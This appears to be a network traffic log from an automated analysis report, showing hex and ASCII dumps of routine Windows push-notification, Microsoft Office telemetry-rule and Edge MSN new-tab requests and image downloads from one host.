2024-11-25 06:53:54 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 58 4e 38 68 65 46 56 2f 7a 55 4b 58 68 45 59 75 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 37 61 34 37 32 30 63 36 36 31 39 39 61 39 34 36 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 62 42 67 6e 77 68 42 53 43 51 68 78 6a 47 73 41 6c 62 45 5a 45 35 57 43 5a 65 76 33 36 32 37 7a 70 76 79 64 4c 2b 65 36 44 57 34 46 36 4b 48 33 66 4c 77 32 48 41 48 63 58 37 31 53 6b 68 39 63 67 61 6c 74 37 54 30 5a 78 4b 66 34 36 4a 76 67 57 54 49 72 68 41 77 74 76 71 39 4a 6e 35 69 37 4e 75 42 4e 56 69 4c 4a 41 75 46 56 75 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: XN8heFV/zUKXhEYu.2Context: 7a4720c66199a946<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAbBgnwhBSCQhxjGsAlbEZE5WCZev3627zpvydL+e6DW4F6KH3fLw2HAHcX71Skh9cgalt7T0ZxKf46JvgWTIrhAwtvq9Jn5i7NuBNViLJAuFVu
2024-11-25 06:53:54 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 58 4e 38 68 65 46 56 2f 7a 55 4b 58 68 45 59 75 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 37 61 34 37 32 30 63 36 36 31 39 39 61 39 34 36 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: XN8heFV/zUKXhEYu.3Context: 7a4720c66199a946<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-11-25 06:53:55 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-11-25 06:53:55 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 41 64 70 6c 67 44 4f 4a 2f 55 6d 6d 56 42 61 52 45 46 58 6d 59 67 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: AdplgDOJ/UmmVBaREFXmYg.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.6	49934	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 06:53:54 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 06:53:55 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 06:53:55 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: a5493b62-c01e-0046-23bf-3e2db9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T065355Z-178bfbc474b9fdhphC1NYCac0n00000006z000000000ask8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 06:53:55 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
133	192.168.2.6	49935	23.101.168.44	443	8040	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 06:53:54 UTC	1017	OUT	GET /v4/api/selection?nct=1&fmt=json&nocookie=1&locale=en-us&country=US&muid=2DA1B1BEC00C601118A0A4FCC1806184&bcnt=1&placement=88000244&ACHANNEL=4&ABUILD=117.0.5938.150&clr=esdk&edgeid=5518710994624701133&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&asid=ed4ac39e58334db4b8926810347335c1 HTTP/1.1 Host: arc.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=2DA1B1BEC00C601118A0A4FCC1806184; _EDGE_S=F=1&SID=2457BEAAE07B6E681FF6ABE8E1D26F9A; _EDGE_V=1; _C_ETH=1; msnup=
2024-11-25 06:53:55 UTC	777	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 2668 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"DcoPlusDebug":"Status: Ok"},{"RADIDS":"1,P425132784-T700343875-C128000000002115149+B+P60+S1"},{"BATCH_REDIRECT_STORE":"B128000000002115149+P0+S0"},{"OPTOUTSTATE":"256"},{"REGIONALPOLICY":"0"}] Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Allow-Credentials: true X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Mon, 25 Nov 2024 06:53:54 GMT Connection: close
2024-11-25 06:53:55 UTC	2668	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 4d 53 4e 41 6e 61 68 65 69 6d 4e 65 77 73 4e 54 50 49 6d 61 67 65 48 6f 74 73 70 6f 74 73 5c 22 2c 5c 22 75 5c 22 3a 5c 22 4d 53 4e 41 6e 61 68 65 69 6d 4e 65 77 73 4e 54 50 49 6d 61 67 65 73 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 74 69 74 6c 65 5c 22 3a 5c 22 43 6f 79 6f 74 65 20 42 75 74 74 65 73 2c 20 41 72 69 7a 6f 6e 61 5c 22 2c 5c 22 63 74 61 5c 22 3a 5c 22 68 74 74 70 73 3a 5c 2f 5c 2f 77 77 77 2e 62 69 6e 67 2e 63 6f 6d 5c 2f 73 65 61 72 63 68 3f 71 3d 43 6f 79 6f 74 65 2b 42 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"MSNAnaheimNewsNTPImageHotspots\",\"u\":\"MSNAnaheimNewsNTPImages\"}],\"ad\":{\"title\":\"Coyote Buttes, Arizona\",\"cta\":\"https:\/\/www.bing.com\/search?q=Coyote+B

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.6	49926	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 06:53:55 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 06:53:55 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 06:53:55 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: 14aff01d-f01e-005d-5831-3d13ba000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T065355Z-174c587ffdfcj798hC1TEB9bq400000005q000000000ebu3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 06:53:55 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
135	192.168.2.6	49939	23.200.3.19	443	8040	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 06:53:56 UTC	634	OUT	GET /tenant/amp/entityid/BB1msKEr.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 06:53:56 UTC	519	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Thu, 21 Nov 2024 19:21:09 GMT X-Datacenter: eastus X-ActivityId: 2a1dad0d-924a-45f7-918b-103e58e1736b Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/jpeg Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msKEr X-Source-Length: 28967 Content-Length: 28967 Cache-Control: public, max-age=131233 Expires: Tue, 26 Nov 2024 19:21:09 GMT Date: Mon, 25 Nov 2024 06:53:56 GMT Connection: close
2024-11-25 06:53:56 UTC	15865	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-25 06:53:57 UTC	13102	IN	Data Raw: 0f b7 75 bf 2c a1 5f 9b ab cc 37 4a 3e b6 a4 d3 db 46 a4 7f 75 9f e6 bb 87 f9 f4 f7 55 ea 7e 9f 14 ed 96 2a a6 9a f2 aa 29 ab f4 a2 27 e2 2d 7e 73 f9 ae e3 fe 6d 53 d9 a7 5c fd c7 f3 6d cb 6e a4 ff 00 ba af d4 fa fa 9e 5d b8 6a fd 7d d7 77 ab b7 4a 8b f7 c4 44 bc 5a be 41 e5 7a bc 77 78 a7 f4 2b d4 a3 e1 55 b9 96 63 ae 59 ce 75 76 63 1d ef 2f f3 5d ca 3f cd ff 00 97 3f 7b 1f ce 37 2f fd c8 fd 58 ff 00 68 af f0 b7 97 55 f5 6a de 34 fa 72 ae 2a fe d5 17 e7 78 ab fc 25 47 ec f7 a9 8f d3 d1 89 b7 5d 35 c7 c1 ad ba 3d 59 ee 63 3a b9 9e 8c 67 ee f6 cf 9c 6e 56 e3 57 f4 ff 00 b4 9f ce 77 0f 7f 9e 8f f6 9f 1a bf c2 7b e4 4d e8 d7 dd 6b ed 8d 4a 27 fb 15 43 cd 57 e1 af 32 8f d9 e9 57 6e 18 75 34 fe 15 61 6b 87 a3 3f cd 8c f3 79 98 ff 00 e7 f5 7e 83 f9 e7 97 74 eb Data Ascii: u,_7J>FuU~)'-~smS\mn]j}wJDZAzwx+UcYuvc/]??{7/XhUj4rx%G]5=Yc:gnVWw{MkJ'CW2Wnu4ak?y~t

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
136	192.168.2.6	49940	23.200.3.19	443	8040	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 06:53:56 UTC	634	OUT	GET /tenant/amp/entityid/BB1msKSj.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 06:53:56 UTC	521	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msKSj Last-Modified: Fri, 15 Nov 2024 21:51:17 GMT X-Source-Length: 101189 X-Datacenter: westus X-ActivityId: 22220a85-5dca-4198-8d05-5b36a925dcc8 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 101189 Cache-Control: public, max-age=399421 Expires: Fri, 29 Nov 2024 21:50:57 GMT Date: Mon, 25 Nov 2024 06:53:56 GMT Connection: close
2024-11-25 06:53:56 UTC	15863	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-25 06:53:57 UTC	16384	IN	Data Raw: 04 21 64 c2 12 2c 9a 42 14 18 08 8e 3f 59 f8 21 4c d8 21 42 8b 5c 9a 17 5a c9 02 fd ee 1f 2f 24 10 98 44 2a 8b 4f d8 f9 24 0b 55 09 b1 23 cb 74 28 05 2b 52 0e 27 30 c3 81 61 89 87 72 98 3b 58 c1 33 c2 12 88 83 63 3d 52 32 e1 17 4f 98 ee b9 5c 24 6b 73 8b a2 48 e5 10 20 0d 87 0b 47 89 dd 00 f1 56 b9 01 47 86 c3 cb f1 ea 88 2e b9 95 68 21 23 16 42 11 aa 35 42 28 13 c6 27 6d 89 f1 83 0a e1 5c 14 29 6e 71 71 26 c2 7a 0f a5 ad 08 61 12 b4 1a cc 52 db 99 bc 83 00 0f 2e 26 c8 29 24 12 01 81 72 6f 03 a9 4c 84 45 e6 8a 2d 48 25 db 09 24 da e6 24 f4 e0 10 10 ca e4 cb 09 91 3e 3b 75 40 90 02 37 36 36 24 8b 5e 22 fc 57 2e dd 09 07 db fb 2e 44 55 04 d0 14 7d 49 f1 56 09 12 06 c7 7d 94 9c 65 c0 3c b6 a9 a4 dd b1 66 8d c9 30 4c 79 47 9a 12 8c 2c 8a a3 33 13 3c 3c fc 95 Data Ascii: !d,B?Y!L!B\Z/$D*O$U#t(+R'0ar;X3c=R2O\$ksH GVG.h!#B5B('m\)nqq&zaR.&)$roLE-H%$$>;u@766$^"W..DU}IV}e<f0LyG,3<<
2024-11-25 06:53:57 UTC	1766	IN	Data Raw: f3 b9 c2 e3 8d 99 07 6b 93 75 8f a4 0f f6 73 ea 76 72 6b 73 6b 61 b5 65 db 45 64 52 66 78 6c 17 ad 6f b5 03 72 1c 79 71 9e 6d a0 89 3d 81 0e 81 7e 84 9e 8a e7 7b 3d d9 d8 f2 ad c0 f7 81 10 4f e5 30 d7 79 80 4c 1f 03 2a 33 9a 41 82 08 23 81 10 67 a8 5e cd d9 f4 e3 2b 9a 58 d0 d2 3f c4 60 12 09 bd 2e 0d b8 89 ef 3b c2 8f 93 48 d7 bb 0b 35 2f e6 c8 03 ab 69 a0 db f8 9a b9 9c 20 f1 20 ae 9e bf 6f ca 5e 4e 15 47 55 bd ab f6 6b f0 f3 b1 e1 cc 89 2f 34 c3 7c c0 33 4f 56 c9 e8 b1 ce 37 34 07 11 62 26 45 da 7c 8f 6f 38 5d 33 bc ed ee 94 78 5c 9b 10 85 6b a9 2d 72 35 c9 80 2e 44 b9 04 15 c8 d0 20 9c b9 5a b8 41 81 52 38 54 82 52 e4 48 54 85 2a 44 b9 00 2a ab f4 cb 5d 21 a4 11 04 8a 80 bf e5 e3 e4 8b 82 8f 91 e1 94 b4 b4 bc b8 d9 80 5d d7 f2 58 7d 97 25 5f 59 b5 2f Data Ascii: kusvrkskaeEdRfxloryqm=~{=O0yL3A#g^+X?`.;H5/i o^NGUk/4\|3OV74b&E\|o8]3x\k-r5.D ZAR8TRHTD*]!]X}%_Y/
2024-11-25 06:53:57 UTC	16384	IN	Data Raw: 94 92 bb a0 71 29 64 aa 25 2c 95 44 a2 52 09 46 4a 49 54 02 50 15 68 13 20 94 08 d1 e3 0d 2f 0d 79 80 7b 10 3e 64 cd 91 b8 8a 8c 85 7a 57 fb 3f 18 63 8d 4f 04 77 2d 2d 98 90 2d dd 62 37 11 c8 25 85 ae b9 05 b5 0a 81 1c 38 78 46 e9 4e f2 a3 65 43 5c 98 e6 d0 48 75 88 dc 29 38 f4 ce c8 dc 8f 90 c6 e3 61 7b 89 dc b4 02 6c 38 cc 40 3b 4f 15 57 b4 80 ac 78 1f 95 c0 31 a4 cc c5 8c 58 49 5e a7 4b ec c1 27 d4 3c df a6 f0 5b bb 3f 33 4d a0 de d6 1c 37 0b 37 41 af 71 2d 6e 3c 38 d9 8a c0 3d c4 4b c9 68 98 2e 73 65 f7 2e 75 2d 23 82 d1 66 a9 ae d5 ea 18 5e 5f 1e eb 9a 63 94 34 90 d7 53 62 d8 75 af 32 2e b9 3b 7d 96 fa 78 67 75 a7 9b 4e 32 66 6e 53 93 3e 3c 83 94 37 11 80 f2 0c c9 64 89 8f eb 30 38 84 dc fa b7 60 7e 26 7a 39 32 35 fe f6 4e 0c 6d cb 8b 84 76 13 c0 1e Data Ascii: q)d%,DRFJITPh /y{>dzW?cOw---b7%8xFNeC\Hu)8a{l8@;OWx1XI^K'<[?3M77Aq-n<8=Kh.se.u-#f^_c4Sbu2.;}xguN2fnS><7d08`~&z925Nmv
2024-11-25 06:53:57 UTC	16384	IN	Data Raw: 7a 88 f1 d9 6d 33 09 38 2a 78 2c c6 1b 00 b8 dc f7 75 3b 92 78 0e 3b a1 36 a1 e9 f0 b3 44 c7 1c cf 63 4b da 4c 93 bb 4f 00 d1 2e 24 cf 05 13 06 0c 39 28 82 44 19 83 b3 e0 f1 69 98 81 c1 64 eb 33 bb 23 e1 ae 71 68 f7 41 ec 38 ba 38 f4 d8 6c a0 e2 c8 f6 3a 1a 4d ed bf c9 2d 69 23 68 61 c6 e2 fc 8e 88 0e 86 b1 a2 03 c9 36 f0 e3 68 41 e8 b7 d5 61 61 0d 22 48 02 26 5b 7d b6 83 e6 ad fa 6c f0 c6 be 96 45 e4 9d e4 ef 69 b8 16 e8 b4 74 fa 13 8c 8c 99 8d 34 98 6c 11 7f ea b0 f7 7c f7 4d 44 1c 4c 27 d5 2e 7b 5a 60 98 7e ee 32 4c 4c 98 1b 79 a7 e9 b5 25 f5 e0 e6 87 fb a2 77 03 60 4f 08 81 e0 a3 30 3f 50 ec 8c 66 40 cd cf 35 aa 1e 13 1d 63 75 d8 c1 39 bd 36 38 12 d9 e7 82 2e dd c8 9b db aa 7a 1a a7 2f a1 9f 1b 4b 83 5e 5a 0b f8 b4 3a 48 b9 b7 91 db 75 a3 48 cd 9b 1b Data Ascii: zm38*x,u;x;6DcKLO.$9(Did3#qhA88l:M-i#ha6hAaa"H&[}lEit4l\|MDL'.{Z`~2LLy%w`O0?Pf@5cu968.z/K^Z:HuH
2024-11-25 06:53:57 UTC	7952	IN	Data Raw: 00 0f 9f 1d 75 41 cf f4 43 5b 4c 10 62 72 47 f1 9e c3 8e f1 e6 a2 69 06 4d 6e 53 97 27 b8 d1 16 90 db dc 32 4e cd 1c 6e 13 9b 89 ec e6 cd 0c da 8c 38 cc e4 0c 6e cd d8 c0 3c 4b 94 c8 cd 98 5c 33 13 41 24 62 60 2e 0d 6f 56 c7 3b 8f 19 20 2b 69 9f 08 ba cd 5c ff 00 86 5a 1a d1 1c a2 d2 36 03 87 8a c2 d3 35 fa cc f1 73 4c 3b 73 6b de 4d c9 2a 53 f0 fe f3 2d 0c 2e 0d 61 73 6f ca 49 07 7a 44 81 f3 2b 47 52 d6 68 1a 34 98 84 66 70 9c cf d9 cc 69 10 31 8e c5 df ca 0d 85 92 69 3a e4 23 59 94 bf 2c 36 32 06 99 bf bb 2d de 26 2d 3c 7a 2c 0c c7 76 8e f2 6d df ad ca 97 93 fc 38 2e 6b ed 4c 36 39 48 1b 0e c3 be ea 2b 31 89 00 6e 78 de dd e4 46 d3 b0 48 49 89 58 47 a5 4b aa aa 5d 34 83 b5 b6 b7 85 cf 82 f4 58 f2 5f 90 96 d4 d2 0d 8c 1b f6 ee 47 12 b1 08 c7 8a 8b 8b b8 Data Ascii: uAC[LbrGiMnS'2Nn8n<K\3A$b`.oV; +i\Z65sL;skM*S-.asoIzD+GRh4fpi1i:#Y,62-&-<z,vm8.kL69H+1nxFHIXGK]4X_G
2024-11-25 06:53:57 UTC	16384	IN	Data Raw: 3e 5f 5d c0 06 9c 78 3d 57 32 a1 30 05 64 0a 84 8e 67 54 83 4b a7 d4 33 23 9b 9b 55 9f 33 18 da de c3 8f 1e 3c 72 0c 0a 9c 4d 32 08 b3 4b a0 f7 5e a3 13 3f 6a c6 b7 4f a7 38 cb de 5d 92 72 34 52 49 21 c5 86 ee 73 c3 49 18 c9 00 36 50 bb 46 dd 50 c8 1f 8d c7 1c 1f 45 8e cd 96 9c 4e 80 d2 e7 b5 8e 35 10 00 20 98 b9 28 2f f6 bc f0 d0 e8 72 e5 71 ab 54 fa a0 e4 7e 36 62 75 46 f0 72 35 a4 98 df c7 82 76 26 e0 d3 e9 f3 06 33 51 8d ac 00 bc b8 e1 16 79 86 d4 e9 0d 6c fe 5f 78 5a 41 5a ef d3 e4 66 9d fa 6f 4b 07 a6 f0 da bf 48 b6 a2 d3 ca 5d 49 00 c6 d0 78 71 49 7e 84 e6 68 63 b3 ea 2d 31 e9 b3 18 37 b1 a9 c0 4b ac 20 17 5e e4 ca 91 78 b2 fd 4d 3b 03 46 41 a9 6d 4f 81 4e 4d 3b de e3 1b 52 c2 e7 13 7e de 29 f8 3d a5 a0 c3 53 5b fb be 20 b8 50 1c 41 e0 25 a2 91 e4 Data Ascii: >_]x=W20dgTK3#U3<rM2K^?jO8]r4RI!sI6PFPEN5 (/rqT~6buFr5v&3Qyl_xZAZfoKH]IxqI~hc-17K ^xM;FAmONM;R~)=S[ PA%
